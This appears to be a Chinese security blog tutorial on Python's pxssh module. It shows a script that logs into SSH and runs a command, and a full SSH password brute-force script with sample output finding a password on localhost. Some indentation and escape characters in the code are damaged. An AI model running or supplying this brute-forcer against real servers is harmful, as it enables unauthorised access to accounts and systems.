pxssh模块——python

  • A+
所属分类:安全工具

1、描述:

pxssh预先已经有了login()、logout()和prompt()等函数直接与ssh进行交互。


1.1 示例代码:

#导入pxssh模块

import pxssh


def send_command(s,cmd):

#发送命令

    s.sendline(cmd)

#获取期望的输出提示符

    s.prompt()

#显示返回信息

    print s.before


def connect(host,user,password):

    try:

#创建pxssh对象

s = pxssh.pxssh()

#登陆ssh函数

s.login(host,user,password)

return s

    except:

print '[-] Error Connecting'

exit(0)


s = connect('127.0.0.1','test','test')

send_command(s,'ls /')


1.1 运行:

sshPxssh.py是程序的文件名

[email protected]:/usr/python# python sshPxssh.py 

ls /

0     dev   initrd.imglost+found  opt    root  srv   tmpvmlinuz

bin   etc   libmedia    proc   run sys   usr

boot  home  live-buildmnt    p.txt  sbin  testfile  var


1.2 简单ssh暴力破解程序

import pxssh

import optparse


def connect(host,user,password):

    print '[-] Testing: ' + password

    try:

s = pxssh.pxssh()

s.login(host,user,password)

print '[*] Password Found: '+password

    except:

print '[-] Error Connecting'



def main():

    parser = optparse.OptionParser('usage %prog -H <host> -u <user> -F <passfile>')

    parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')

    parser.add_option('-u',dest='user',type='string',help='specify the user')

    parser.add_option('-F',dest='passwdFile',type='string',help='passwod file')

    (options,args) = parser.parse_args()

    host = options.tgtHost

    passwdFile = options.passwdFile

    user = options.user

    fn = open(passwdFile,'r')

    for line in fn.readlines():

password = line.strip('r').strip('n')

connect(host,user,password)


if __name__ == '__main__':

    main()

1.2 运行:

[email protected]:/usr/python# python sshBrute.py -H 127.0.0.1 -u test -F file.txt

[-] Testing: 1234

[-] Error Connecting

[-] Testing: 2222

[-] Error Connecting

[-] Testing: 4444

[-] Error Connecting

[-] Testing: 555

[-] Error Connecting

[-] Testing: tttt

[-] Error Connecting

[-] Testing: admin

[-] Error Connecting

[-] Testing: root

[-] Error Connecting

[-] Testing: test

[*] Password Found: test


本文始发于微信公众号(飓风网络安全):pxssh模块——python

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: